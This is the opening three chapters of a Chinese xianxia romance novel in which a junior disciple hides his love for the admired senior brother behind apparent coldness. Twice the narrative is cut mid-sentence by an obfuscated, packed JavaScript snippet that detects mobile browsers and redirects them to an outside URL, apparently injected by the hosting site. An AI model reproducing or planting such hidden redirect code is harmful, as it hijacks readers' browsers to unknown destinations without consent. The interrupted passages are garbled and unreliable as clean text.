《全宗门都知道他讨厌大师兄》 1. 第 1 章 玄霄宗,漱云峰,峰顶最东边,摆放着一块三人高的纯黑玉石——试剑石。 试剑石虽不规则,但各个面都是光滑如镜,只有一处,留下了深深的剑痕。 陆拾夕在十步远的地方盘膝而坐,面色宁静,心无旁骛。 带着寒意的灵气往他周身汇聚而来,形成雾白的灵气漩涡,给陆拾夕的脸平添了一层冰霜之意。 发带被卷起,随着乌墨长发飘动。 已经有不少弟子听闻了消息前来围观,三三两两聚在一起窃窃私语。 虽为同门,却没几个面带期待或善意,大多数都是想等着陆拾夕出丑,好奚落一番。 “又来挑战了?妒忌心真可怕。” “我都忘记这是第几次了,上次他被反噬,吐了一地的血,还不死心。” “他到底什么时候才能明白,大师兄可不是他能比得上的。” “自试剑石矗立在此,能在筑基期留下剑痕,取得剑意的唯大师兄一人,哪怕他陆拾夕算有天赋,也不可能复制大师兄的传奇。” 试剑石曾经是玄霄宗一位大能留下的剑意传承,只要是玄霄宗筑基期的弟子,都可以来尝试,修为超过筑基期就没用了。 可没想到,石落之后,根本没有人能做到,就当众人以为那试剑石不过是前辈留下的恶搞玩笑时,玄霄宗现任大师兄出现了。 他筑基初期曾来过一次,看着试剑石,挑挑眉笑了一下,没有拔剑,转身离开。 等到筑基中期,一剑劈下,至此,试剑石终于有了第一道剑痕,也证明了,试剑石内含剑意传承为真。 此后又有不少弟子尝试,可都没成功,大家试个几次也就罢了,却偏偏出了一个陆拾夕,不停地尝试。 按理说全宗门应该鼓励,佩服这样有上进心的师兄弟才对。 可众所周知,这个陆拾夕做这一切,不过是为了跟大师兄攀比罢了。 玄霄宗的大师兄,卫澜朔,师承当世十大剑尊之一,乃八百年来最年轻的金丹修士。 在宗门内备受同门爱戴,长辈信赖,被早早钦定为下一代掌门人,在修真界更是人人称道,屡建传闻。 实力,相貌,品行,心境,样样拔尖,甚至没有可以跟他并列同提的同辈修士。名声在外,只有好,没有坏,令人心服口服。 有这样的大师兄,玄霄宗内外门弟子自然各个都是他的狂热追捧者。 只有一个人例外,那就是他的嫡亲小师弟,陆拾夕。 明明占了同师座下亲传弟子的席位,面对大师兄的护短照顾,陆拾夕不是冷言冷语,就是避之不及,把大师兄的好意当空气,只会躲在阴暗的角落,暗自嫉妒,处处较劲儿。 大师兄做过的事情,留下的记录,他陆拾夕也要做到。 比如同样的地方挥剑一万次,哪怕手臂撕裂也不停下。一样的历练坚持相同的时长,结果一出来就倒下修养了半年。还有秘境带出同样的修炼资源,哪怕遭遇意外,差点丧命也在所不惜。 这一切的一切都是企图跟大师兄一争高下,盖过大师兄的风头。如此好强偏执的功利心,怎能不让人生厌。 所以今天,大家又来看笑话了。 不知多久,陆拾夕体内灵力运转到最佳状态,一把泛着幽蓝星光的细长灵剑凭空出现,悬浮在双膝之上。 众人顿时内心不平衡,不懂这样心性的人,怎么能得到玄霄宗稀有的自带剑灵的法器认主,剑灵也会眼瞎吗? 伴随着灵剑剑身被寒冰覆盖,陆拾夕瞬间睁开双眼。 他的眼型略圆,眼白干净分明,眼尾带着极淡的红,微微下垂,眼睑下一颗小痣若隐若现,本该楚楚可怜之像,却被瞳中毫无波动的坚定冷意驱散。 陆拾夕的耳边没有听到任何风言风语,甚至根本没看到周围还有人,全身的注意力都在高度集中。 雪白消瘦的手腕一转,同时少年身形跃起,灵剑追随着手腕同起。 下一秒,陆拾夕手持灵剑,朝着试剑石,全力一击。 劈下来溢出的剑气卷起狂风,让周围人都不由抬手遮挡。 只听嗡的一声,剑气落在了试剑石外无形的气罩之上,气罩颤动,灵气飞散,像是两股力在互相对抗。 陆拾夕的身形稳在半空,手臂却在轻颤,气罩虽然在他的剑气之下一点点压向试剑石,但陆拾夕体内的灵力也在疯狂流失。 不一会儿,灵剑在陆拾夕的手中发出嗡鸣声,仿佛在告诫主人,已经到极限了。 陆拾夕眼波闪动了一下,随即狠狠咬牙,血腥味不自觉的在口中蔓延,手势毫不犹豫的快速变动,灵力瞬间大爆发,天青色银云卷边的弟子袍在空中猎猎作响。 不能放弃! 他如今已经是筑基大圆满,修为最近开始松动,很快就要步入金丹期,到时候就没机会获得跟那人一样的剑意了。 无论如何,他都不想错过这次机会。 随着时间流逝,唱衰声越来越大,陆拾夕的脸色也是一层层的雪白叠加,丹田内更是着火了一般,被消耗到了极限。 空地周边,倏然有两道身影落下,两人皆是神情严肃,面露担忧,却并未上前打扰。 突然,只听咔嚓一声巨响,灵光炸开,气罩碎裂,剑和玉石的碰撞声传来,所有人的心都提了起来,纷纷看向试剑石。 待灵光散去,惊呼声顿时此起彼伏。 只见黑色试剑石上,在原本仅有一道极深的剑痕旁,终于又多了一道浅浅的剑痕,与之相伴。 竟然,真的,成了! 虽然浅,却也是实实在在,因为众目睽睽之下,一道剑意自那处剑痕飞出,直入场中央,持剑屹立的陆拾夕眉心。 待其没入,陆拾夕身形晃动了一下。 自此,陆拾夕成了本宗门除卫澜朔之外,唯二获得试剑石剑意之人。 这一会儿不少人脸颊生疼,不可置信,也有人鼓掌,真心佩服感叹一声厉害。 说到底,能从外门弟子一路晋升,抓住剑尊难得一次收徒机会,打败所有同期,成功成为其座下第四名亲传弟子,也是实力的证明。 只是大家都没想到,剑尊的二弟子和三弟子都没能做到的事情,让陆拾夕做到了。 难怪有宗门长老说,他是宗门内自卫澜朔之下最有天赋的弟子。 之前落下的两人,正是陆拾夕的二师兄和三师兄。 两人飞速闪现陆拾夕跟前,三师兄先欢快的喊着小师弟,二师兄颔首。 陆拾夕闻言转身,小脸虽然依旧没什么表情,但眼中却压抑不住雀跃,带着喜气,正要拱手见礼。 突然一道流光,如同离弦之箭,从玄霄宗的主峰方向射了过来,先一步落下,恰好挡在那两人之前。 同样的天青色弟子袍翻飞着,在他身上独显飘逸之感,高大的身形修长挺拔,落下的身影将跟前的陆拾夕整个人罩住。 陆拾夕身形一僵。 不需要刻意去辨别什么,刻在记忆深处的气息扑面,如同一股热浪灼烧过来。 太……太近了! 陆拾夕下意识的扯了扯衣摆,明明没有乱,却还是本能的想规整一些。 伴随着周围齐声恭敬问好的‘见过大师兄’ 陆拾夕原本要抬起的头却机械般的恢复水平,熟练的垂下视线,确保百分百不会跟那人对视上。 “小师弟,获得剑意了?真棒。”带着纯粹欣喜的声音响起。 哪怕之前无数次被无视冷落,卫澜朔却还是在第一时间得知这里的情况时,飞身赶来,恭喜小师弟。 卫澜朔往那一站就是焦点,丰神俊朗,器宇轩昂,仿佛连阳光和山风都更加偏爱他,愿意配合他构建出一副帅气迷人的画卷。 当然,陆拾夕不敢去欣赏,怕自己的眼神露出端倪。 可哪怕这样还是没出息被那人的声线拨乱了心弦,尤其还是夸赞他的话,更是无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471600|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法抵抗。 陆拾夕已经感觉到自己的心跳开始不受控制,脸颊也隐隐有些发烫,赶紧回应一句:“不及大师兄。” 说完才发现自己的喉咙发紧,手不自觉的握拳,下意识的想要后退一步。 围观众人:…… “他刚刚声音又冷又硬,似乎很不爽的样子。” “他是不是气不过剑痕不如大师兄的深?所以出言阴阳?” “他还嫌弃的后退了?!他以为他是谁啊!” 卫澜朔从落地后,就一直注视着陆拾夕,尚好的心情此刻也沉了一下。 看来小师弟依旧不稀罕自己的示好,抢第一个来恭贺也没用,到现在连一个正眼都不给他。 身后两个师弟无奈对视,对此场景也算是见怪不怪了。 此时的陆拾夕哪里顾得上其他,只想脱离那人气息的包围圈,再晚一步,怕是大脑都要混沌,不受控制的贪婪靠近汲取专属于那人的气息。 那样就……太恶心了。 可是后退了一步,身形却不稳了。 之前为了通过试炼,不惜一切代价,身体已经到达了极限,意志力一被扰乱,灵剑不受控制直接缩小消失。 失去支撑,陆拾夕一晃,往后倒去。 卫澜朔一惊,快速出手,想要抓住陆拾夕。 陆拾夕注意到了,赶紧身形一扭,避开,慌乱间,还是看到了近在咫尺的眉眼。 如梦中无数次看到一样,斜飞入鬓的剑眉压着狭长的丹凤眼,勾勒出深邃俊美的轮廓,立体利落的骨相,带着强势的气息,但瞳色是沉静的墨黑,中和了危险感,此刻双眸中漾出几分担忧,紧接着又转为愕然。 因为陆拾夕的闪避,卫澜朔没有拉住他,幸好身边的二师弟身手也快,粗大的手掌稳稳拖住了陆拾夕的后背,帮忙稳住了身形。 虽然都是在千钧一发之间发生的事情,但大家都是修士,自然看得分明,如此避之不及的举动,让场面比起刚刚拐弯抹角的‘阴阳回应’更加令人尴尬。 卫澜朔再大度宽容,此刻脸色也僵住了。 这一下,陆拾夕也知道自己做的太明显了,只能拘谨拱手道:“多谢两位师兄。” 被顺带感谢的卫澜朔心情依旧不美丽,但作为大师兄还是得交代一句。 “看你刚刚的情况,是灵力枯竭,你是耗尽了体内灵力劈下那一剑的,你知道这有多危险吗?哪怕可以获得剑意,若是因此伤及根本,还有何意义?” 陆拾夕心尖一颤,又软又麻。 责备?关心? 不论什么,都抑制不住内心泛起的悸动,毕竟已经三个月没有听到大师兄跟自己说超过二十个字的话了。 虽然是自己常常躲避的原因。但躲不过的时候,就不怪他不自觉了,那是天降鸿运,是意外获得的宝藏。 陆拾夕听着体内越发放肆的心跳声。知道自己不能待下去了,越来越紧绷的身体,快不能呼吸。 不能纵容自己滞留在大师兄的身边,会露出破绽的,只能低垂眉眼拱手道:“师弟受教了。身体不适,先行告退。” 卫澜朔一噎,熟悉的无力感又涌了上来,只能眼睁睁看着小师弟一声不吭的召来仙鹤飞速离开。 就这么不待见他吗? 众弟子看到陆拾夕如此不识好歹,内心纷纷为大师兄打抱不平,但都默契的不敢闹到大师兄跟前。 毕竟他们四个才是嫡亲师兄弟,大师兄又是出了名的护内,同一个峰出来的总该关系更亲近的,不容他人多嘴。 也就身边两个同样的嫡亲师弟可以说两句。 三师弟习以为常,百无聊赖:“算了,回吧。” 二师弟无声拍了拍卫澜朔的肩膀,招来仙鹤一起离开,回去他们师父所在的栖真峰。 踏上仙鹤,看着已经没影的前方天空。 卫澜朔实在没憋住,郁闷至极道:“不是,小师弟为何总这样对我啊!” 2. 第 2 章 两个师弟其实早就对这场景麻木了,甚至习惯到忍不住笑出声的程度。 虽然一开始陆拾夕对卫澜朔的态度令两个夹在中间的师兄弟也很不满,但人各有志,他们能感觉到陆拾夕对大师兄是没恶念的,那他们也不好硬要纠正人家的为人处世喜好厌恶,所以只能当乐子看了。 “小师弟一直这样,你又不是今天才知道。”三师弟苏辞笑弯了腰,丝毫没有同情心。 卫澜朔心里不平衡的看向苏辞:“可他对你们不是这样。” 不只是老二老三,外峰的其他师兄,卫澜朔可是偷偷观察过的,陆拾夕对他们的态度都不算差,虽然不是活泼的性子,却也不会有任何嫌恶的表现。 只有他!只有他! 面对他的时候,恨不得完全拿他当空气,连对视都费劲,一旦他靠近,小师弟就会快步走开。避不开的时候,也是回应生硬又敷衍,根本没法用心沟通。 被避开的太明显,让卫澜朔很是受挫。 说一句不要脸的自夸,卫澜朔的人格魅力极强,可以说只要他想让别人喜欢他,就有办法让那人对他生出好感。 可只有小师弟,他越努力,越心酸。 弄得卫澜朔一度都要产生心魔自我怀疑了。 二师弟石峥平时寡言,此刻也没什么良心,敷衍道:“习惯就好。” “这怎么能习惯!”卫澜朔不满道。 “那就放弃,没有规定,师兄弟之间就必须相亲相爱一家人,师父都没这个要求,他避你,你也无视他不就好了,自寻烦恼做什么?”苏辞洒脱道。 卫澜朔揉了揉眉心,“我只是不明白他为什么这么讨厌我?我到底哪里得罪了他?要是知道,我还能改改。” 苏辞调笑道:“你是大师兄啊,哪有你讨好别人的份,应该是他来讨好你才对啊。难道大师兄就喜欢高冷不搭理你的调调?” 卫澜朔嫌恶道:“滚蛋,懂什么,你们是没见过小时候的小师弟。” “停,大师兄,你都说过很多遍了,小时候的小师弟十分可爱,小小的人儿会跟在你身后软糯糯的喊神仙哥哥,会红着眼睛跟小兔子一样说对不起,弄脏您的衣服了。”苏辞怪里怪气的重复道。 石峥补充道:“会跌跌撞撞也要跟着你走。” 卫澜朔被两个倒反天罡的师弟联手噎住,只能失落道:“对啊,哪里像是现在,躲我跟躲什么魔物似的。难道是叛逆期?” “那这叛逆期是有够长的,自从拜入师父座下,一直持续啊。”苏辞插刀。 石峥再次补刀:“叛逆期不会针对一个人。” 卫澜朔连中两刀,差点憋屈的吐血。看着已经近在咫尺的栖真峰。忍不住发神经。 “唉?你们就说有没有可能其实他不是讨厌我,而是喜欢我,特别崇拜,近乡情怯的情绪,才这么别扭。” 苏辞惊讶的拉着石峥道:“咱们大师兄终于疯了?” 石峥:“白日不做梦。” 卫澜朔不死心,还试图给两个师弟洗脑道:“我这么好,喜欢我才是正常的。” 苏辞道:“大师兄还是别妄想了,这世间的人各有不同,你是不错,但你们利益冲突,他不可能喜欢上你的。” 卫澜朔脸上的表情一收,肃然蹙眉。 两个师弟也不再开玩笑。虽然他们之间从未有过修炼资源上的较劲儿,但架不住其他人不会,毕竟每个人的人生目标是不同的。 “可我觉得不是这样。”卫澜朔摇头,他见过陆拾夕出让好不容易得来的修炼资源给弱小之人的样子。 苏辞认真道:“别说你没听过那些传闻,你跟小师弟是宗门唯二的天之骄子,未来都是不可限量,其他人嫉妒你,更多是羡慕,而他是有资格追赶你的,那这份嫉妒就会让你在他眼中很碍眼了。谁会喜欢处处压自己一头的人。” 卫澜朔辩驳道:“我比他大那么多,大师兄压小师弟不是很正常吗? ” 石峥:“他不愿意被你压。” 飞鹤落地,远处就是他们是师兄弟分居的院落,错落分开,各有景致。 陆拾夕没有挑好的,而是挑了离卫澜朔最远的,简直是一东一西,避如洪水,哪怕院落荒凉只剩下一些青竹装饰也不在乎。 此刻院门紧闭,一如既往的孤寂疏离不合群。 卫澜朔还是叹了一口气,苦中作乐:“其实这样也挺好,不甘落于人后,证明他心志坚定,有毅力,是一个剑修好苗子。” 苏辞好笑道:”这也能夸?” 石峥倒是点点头:“夸的也对。” 两人都知道,在见识过大师兄恐怖的天赋之后,谁还能生出赶超的心思,这么多年也只有小师弟,一直闷头干了。 不怕苦不怕累的,几乎可以说是拿命在追赶大师兄的步伐。 “但被攀比心蒙了心智可不行。”卫澜朔不气馁:“就算惹人烦,我这个大师兄偶尔也是要提点两句,这是我的责任。” 两人竖起大拇指,不愧是大师兄,还没放弃建设两人关系呢。 而此时的陆拾夕已经坐在了床上,他的房间很简单,只有最必须的家具用品,没有任何可以称得上是装饰品的东西,仿佛他这个人对生活没什么热情,能活着就行。 安静的屋舍,只有他浅浅的呼吸声,他双臂抱膝,并没有打坐休养,也没有着急炼化好不容易得来的剑意传承。 表情看上去有点恍惚,眼底却时不时溢出笑意。 此刻,陆拾夕的脑海中正在一遍遍回味刚刚的短暂相处,像是从细枝末节中死命挤出来的蜜糖,哪怕只有微微甜,也足以在陆拾夕的心中卷起一层层惊涛骇浪。 陆拾夕的灵剑“观星”渐渐恢复,化作长剑悬浮在他的跟前,但它的主人显然没关注它。 突然额头被冰凉的剑柄重重敲了一下。 陆拾夕摸摸头,无辜的看着上下乱动的观星,读懂了它的抱怨。 “对不起,今天勉强你了,谢谢你帮我,你放心,我一定找炼器大师好好给你保养。” 观星这才消停下来,悬在陆拾夕面前。结果它的主人又开始碎碎念了。 拥有灵识的观星只会跟主人交流,自然成了陆拾夕唯一敢诉说心事的对象。 “观星,你看到了吗?大师兄……他真的很好,我那样讨人厌,他还关心我,怎么会有他这么好的人呢?”陆拾夕喃喃道。“其实我宁愿他别管我,当我不存在就好……” 毕竟他的暗恋是一场必须死守的秘密。他怕接触多了,他会不自觉的纵容自己,模糊边界,泄露秘密,万劫不复。 所以不接触,不接受大师兄任何亲近关照是他给自己脖子勒上的绳索。 可大师兄没有因为他的不识好歹而厌烦他,还坚持不懈的关心提点,这让陆拾夕又贪念,又惶恐。 “大师兄……卫澜朔……卫澜朔……”轻轻的将心上人的名字反复念诵,那是只属于暗恋者的小甜蜜。 观星不想听,观星只想挥舞着剑打乱主人的思绪。 甜蜜退去的很快,像是突然咬到了没熟的果子,酸涩瞬间蔓延,到了最后,只剩下苦味传遍四肢百骸,心口憋闷,甚至绞痛,脑海中会飞快闪过各种破罐破摔的想法,但终究还是会归于平静。 毕竟时不时就会这样,早就习惯了。像是反复撕裂愈合的伤口,疼麻了就不疼了。 少年将自己蜷缩的很小很小,捧着那见不得人的心思,卑微的想要消失。 观星安分下来,依靠着陆拾夕的肩膀,像是无奈安慰。 情绪失控的快,恢复的也快。 “好了。”陆拾夕深吸一口气,转头看向唯一陪伴他的观星,“咱们一起炼化剑意吧。” 观星立马兴奋,主人终于要发愤图强了吗?身为剑修就该以变强为终生目标! 谁知它主人来了一句,“我们加把劲儿,很快就能感受到大师兄同款的剑意了。” 观星暴怒,无数次后悔,当初怎么就眼瞎选了一个暗恋脑当主人的!!!!! * 陆拾夕炼化剑意整整用了一个月,感觉很遗憾,毕竟大师兄只用了三天。暗恋一个人,就忍不住想什么都跟他体验一样的。 出门没一会儿,苏辞就找到了跟前。 陆拾夕:“三师兄。” 苏辞双手搭在栅栏上,懒洋洋的歪着身体,弟子袍在他身上显得十分不规整,“小师弟,终于出来了,剑意炼化的如何?你二师兄可一直期待跟你比划比划。” “没什么问题,只是还需要花时间感悟。”陆拾夕规规矩矩回答道,不热络,也不敷衍。“那我去找二师兄?” 苏辞本想说可以先找大师兄聊聊感悟,毕竟全宗上下只有他们接受了同样的传承,但想起两人的关系,还是算了。 “二师兄接了任务出门了,掌门那边倒是有传话,因为你获得传承剑意,所以要奖励你,让你出来之后,就去承道峰。” 陆拾夕点点头,告别了苏辞,就御剑往玄霄宗的主峰,掌门所在的承道峰飞去。 一靠近,陆拾夕就眼观六路耳听八方,毕竟大师兄是未来掌门继承人,除了闭关修炼或者外出历练,大部分时间会在承道峰。 陆拾夕一路高度警惕,直到来到掌门所在的正殿大门口,敏锐的捕捉到里面说话关键词。 “澜朔还没回来?” “消息已经传回来了,扑了一个空。” “银雷天叶本就稀有,没办法,只能看机缘。” 陆拾夕知道银雷天叶,是专门用于雷灵根修士减少雷劫伤害用的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471601|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟金丹期开始,每次进阶都有雷劫,对于雷属性的修士,更是攻击翻倍,虽然风险越大收益越大,但那天雷的折磨,能减少自然是要减少的。以免留下什么隐患。 算算,大师兄最近要进阶,所以需要银雷天叶,宗门内的库存已经用完了,现在只能自己去寻找。 所以大师兄不在宗门内。 陆拾夕松了一口气的同时,也略感失落,他对大师兄虽然没有任何妄念,不敢亲近,但他是想远远的偷偷的看上几眼的。 进了大殿内,见到掌门凌虚子,凌虚子在玄霄宗的修为仅次于他们的剑尊师父,外表看上去是一个操劳和善的中年大叔。 凌虚子瞧见陆拾夕立马和蔼的朝着他招手。 陆拾夕乖乖上前见礼,“弟子陆拾夕,见过掌门。” “好好好。”凌虚子十分满意扶起陆拾夕,好好夸了一顿。 一个卫澜朔,一个陆拾夕,都能在筑基期得到剑意传承,有这两个人在,到时候一个掌门,一个持剑长老,岂不美哉! 他仿佛看到了宗门的前途一片光明,他们第一大仙门的荣誉可以一直持续了,想想就开心。 虽然听说了陆拾夕跟卫澜朔不对付,但没关系,有竞争才有动力嘛,而且他自问对两个弟子都是十分公正,所以也不怕陆拾夕感受不公,脱离宗门。 这一次获得剑意,凌虚子更是出手阔绰,法器,功法,灵丹妙药,通通开启最高规格,给予玉牌任由陆拾夕去挑选。 见陆拾夕小小年纪,一副不为外物所惑的稳重模样十分满意,又勉励了一番。 “你快进阶金丹期,辅助心境的材料,已经提前给你备好,今天就一起领走。”凌虚子笑道。 陆拾夕:“多谢掌门。” “对了,还有寒潭瀑布最近开放了,去里面待一待,可以助你稳固心境。”凌虚子苦口婆心,事无巨细的交代着,一副要把这个宗门的花朵照料好的姿态。 陆拾夕自然谢过掌门的好意,这才告辞。 寒潭瀑布也在漱云峰上,其中水源时常枯竭,所以不常开放,每当开放期,必然有很多弟子前去,借助瀑布修行,稳固心境。而今天刚好是对男修开放。 陆拾夕比较不合群,自然不想跟其他人碰见,就想着等晚点再去好了。 所以先绕了一圈,去望岳峰找器修长老,不仅给观星好好保养了一番,还拿着玉牌,领取了法器奖励,再绕去丹鼎峰,拿了一些平常消耗较多的丹药,有掌门玉牌在,自然可以拿品质最好的。 最后去了藏剑峰,藏剑峰除了剑冢,还有书楼,里面放着玄霄宗所有的功法秘籍,当然每上一层,都有对应的资格,修为和身份都有要求。 而拿着掌门的玉牌,除了封存的楼层,其他都能去,看中了什么功法,就可以刻录带走学习。 在书楼陆拾夕遇到了不少下晚课来学习的弟子。因为拿下剑意传承的事情已经传开,哪怕宗门弟子大多看不惯陆拾夕,这一会儿也有因为慕强对他改变态度的。 所以一路过来,问好搭话的人明显比过去多了很多,也友善了很多。 但众人一看到陆拾夕刻录的功法,又都无语了。 又又又跟大师兄学过的一样,就这么想要跟大师兄攀比?心胸不能开阔一点吗?这样的人说实话真的是太不讨喜了。 而陆拾夕从来也不管别人的眼光,自顾自的沉浸在自己的世界。心满意足拿到跟大师兄练过的一样的功法,离开了书楼。 出来时抬头一看,万千星辰错落悬垂,夜色已深,陆拾夕御剑前往漱云峰,不一会儿落在幽静的石径上。 通往寒潭瀑布的方向已经看不到其他弟子的身影,大概都走了。 陆拾夕一边走一边忍不住想,那寒潭瀑布也是大师兄待过的。 曾经大师兄还邀请过他们师兄弟一起去,可是他拒绝了,让他看着只穿着一层单薄里衣的大师兄坐在瀑布下,被水全部浸湿的模样,日后还不知道会产生什么样的欲念幻想,他不能纵容自己。 走大师兄曾经走过的路,就够他这个暗恋者汲取足够的养分活下去了,再多的就是越界冒犯,不能碰,也不敢碰。 所以他顶多只能待一待大师兄曾经待过的寒潭瀑布。 绕过枫林,就听到哗啦啦的瀑布声,从瀑布方向飘来的寒雾带着灵气也逐渐变浓,路上一般的灵草已经凝结出霜花。 快要走到寒潭瀑布入口时,隔着错落的树木,突然听闻说话声。 陆拾夕脚步一顿,竟然还有几个人吗? 下意识的抬目看去,想着人不多,地方大的话,也能离远一点,互不打扰也行。 结果下一秒,陆拾夕身形一僵,瞳孔剧烈收缩了一下,然后就开始不受控的聚焦于一处。 3. 第 3 章 远处山石间寒雾缭绕,涌出数十米宽的瀑布,冲刷而下,溅起漫天水珠,宛若碎冰飞雪。潭水清冽,水面浮着一层薄薄白汽,被夜风拂得轻缓流转,仙气袅袅。 而瀑布之下,正坐着几道身影,被人围在中间的正是刚刚回来不久的卫澜朔。 只见卫澜朔一身素白里衣,早已经完全被瀑布打湿,几乎化作半透明,紧紧贴合在身上,让其优越的身材一览无余。 甚至连肌理的线条分布都能看得一清二楚,尤其是腰腹一块,清晰可见块垒分明,力量感蓬勃展现。 在星光下,卫澜朔露在外面的肌肤,沾着水,折射出莹白冷光,似冰玉一般。 平时竖起的头发已经放下,跟他浓墨的眉眼一起被冲刷的更加清澈分明,宛若刚刚落笔的水墨画。 陆拾夕看呆了,看到无法回神,直接屏住了呼吸,大脑嗡的一声,仿佛要炸开一般。 围着卫澜朔的师弟们一边经受瀑布的冲刷,忍受寒潭的寒意,一边七嘴八舌向卫澜朔讨教。 大概就是因为卫澜朔来了,所以这么晚还有弟子逗留。 但这里不是想待多久就待多久的,很多弟子修为不够,一会儿就承受不住瀑布的冲击,放弃修行,起身告退。 走人的动静终于惊醒了陆拾夕,陆拾夕当下心虚,慌不择路的闪身到一旁的树后躲了起来。 陆陆续续离开好几个,直到瀑布那边彻底安静下来。 陆拾夕不受控制往那边一看,只剩下卫澜朔一人,沉静的闭着眼,落下的水像是一层轻柔的薄纱罩在他身上。 别看了!别看了!这是你能看的吗? 腿,动起来啊!离开这里! 陆拾夕一边痛恨自己的不自觉,一边又无法抗衡诱惑。 因为太喜欢,不敢冒犯,又因为太喜欢,着了魔。 天人交战,内心好像分成了两半在互相拉扯,血肉模糊,只能急得手脚发麻。 “谁?” 熟悉的声音传来。 对于陆拾夕而言,生命中最优先级,就是不能让卫澜朔发现他的暗恋。 所以身体在这一刻警铃大响,终于让陆拾夕获得了身体的自主权,迅速转身逃跑。 电光火石之间,一个带着湿意和寒气的胸膛就挡在了眼前。 陆拾夕这下是真的来不及刹住,直接一头撞了上去。 熟悉的气息瞬间包裹过来,陆拾夕的心仿佛被紧紧捏住。 “小师弟?是你?”卫澜朔被撞到,身体没有丝毫晃动,低头看到是陆拾夕,有些惊喜。 此时的卫澜朔都忘记弄干衣服,大概也无所谓,注意力完全在这次的巧遇上。 陆拾夕则是猛然后退了一大步,双眼直愣愣的,却不敢丝毫落在卫澜朔的身上。 毕竟刚刚还离得远,隔着雾,其实并不是完全看得清楚,基本是结合幻想来的,这一会儿若是再任由自己贪婪的乱看,那自己就真的太恶心了。 可偏偏卫澜朔没自觉,下意识的跨进一步,像是要追着陆拾夕说话似的。 一下子就把陆拾夕的视线范围锁死。 陆拾夕只能将目光虚焦的落在那人的脖子上,本以为是相对安全的地方。 可随着卫澜朔说话,清晰分明的颈线动着,淡青色的脉络若隐若现,喉结浅浅一动,便添了几分难言的惑人。 “师弟?小师弟?你在听我说话吗?”卫澜朔问道。 陆拾夕仿佛才恢复呼吸一般,心脏狂跳不止,又猛然后退了一大步,才得了说话的空间。 但也只能勉强回应一声沙哑:“嗯。” 这一会儿卫澜朔才意识到,刚刚陆拾夕就是想要跟他保持距离,习惯性的离他远点。 卫澜朔嘴角一抽,还是内心强大道:“小师弟也来此修行,既然来了,怎么不下去?在这里干嘛?” 陆拾夕哪里敢说,他只会隐藏秘密,却不擅编织谎言,只能僵着脸:“想,一个人。” 卫澜朔:这是等着自己走呢? 到底是真的想一个人?还是单纯的不想跟他碰到一块?呵呵~ 卫澜朔哪里是这么好打发的,既然不明说,那他可就不走了,“那么大的地方,你还想一个人独享啊,挺贪心,既然来了,一起呗。” 卫澜朔抬手就要抓着陆拾夕一起走。 陆拾夕却眼疾手快的躲开了卫澜朔的手。 那避如蛇蝎之态,让卫澜朔表情一僵,情绪也跟着散了散。 真这么抗拒?到底讨厌他到何种程度啊? “师弟还有事,先告退了。”陆拾夕怀着那种心思看待卫澜朔,哪怕无人知晓,也不可能卑鄙的借由性别优势靠近,这是占便宜。 可不等陆拾夕抬脚。 卫澜朔终于一摆手,湿哒哒的衣服干了,外衣也自觉披上,语气有些不爽,“不必,你去吧,我走了。” 不等陆拾夕反应,卫澜朔直接转身离开。 独留陆拾夕待在原地一动不动。 “观星,我又惹他不高兴了……我不想他不开心的,可……” 观星剑出现在陆拾夕的面前,无语的晃动着,恨不得张嘴骂一句。 陆拾夕苦笑一声,“对啊,我就是没出息。” 狼狈往身后的树上一靠,哪怕这里的环境自带寒意,但陆拾夕的背后,额头早就紧张的汗湿了。 喜欢一个人不难,藏起喜欢一个人的心思才是最难的。 另一边卫澜朔郁闷的离开,路上真的是越想越气,下一脚直接掉头。 “必须说开,不能这么……”可想到这里,卫澜朔的脚步又顿住了。 其实这么多年,问题一直在,卫澜朔不是没找机会处理过,之前逼急了,想好好谈谈,结果第二天人家就接任务,或者闭关,恨不得几年不露面,那种拒不配合的心态,真的是让卫澜朔拿他没办法。 其实卫澜朔完全不管他也行,但卫澜朔的观念里面,他们四个师兄弟跟师父一起,就是真正意义上的一家人才对,哪怕是掌门,宗门其他师弟妹们都差一截。 一家人,只要不是深仇大恨,有什么矛盾不能化解,哪怕真的是嫉妒攀比心,也是能缓和的嘛,他付出真心,想要好好相处,可怎么就处不好呢? 卫澜朔烦躁的来回绕圈圈。 突然一阵阵微弱的魔气被从四面抽动过来,这么微弱,是有人心境不稳,有走火入魔之危? 再一看,去的方向竟然是寒潭瀑布。 卫澜朔瞬间变脸。 陆拾夕在卫澜朔离开不久后,还是去到了寒潭瀑布。 在曾经卫澜朔坐的旁边位置,坐下入定。 却不想心境已乱的他,根本承受不了寒潭瀑布的冲刷。 因为动了欲念,瞬间陷入心魔。 无数场景在识海中闪现,最终汇聚成三副画面。 第一个画面,宗门大比会场。 他赢得了剑尊亲传弟子的身份,终于走到了卫澜朔跟前。 卫澜朔笑着道:“是你啊,你竟然成了我的小师弟,还真是有缘,还记得我吗?” 那一瞬间给自己取了新名字,想要以崭新面貌出现的陆拾夕僵住了。 第二个画面,宗门山下。 一个男弟子被剥离了身份玉牌,狼狈的赶出了大门。 想要再冲进来,却被阵法挡住。 他拼命的朝着阵法里面的卫澜朔伸手,执着的如同疯子“我不过是喜欢你,我有什么错!你为什么一点情面不留,是不是在你眼里,喜欢你的是男人就罪大恶极?” 卫澜朔眼底都是寒意,嫌恶,他居高临下,甚至不会正视那名弟子一眼,“你,让我恶心。” 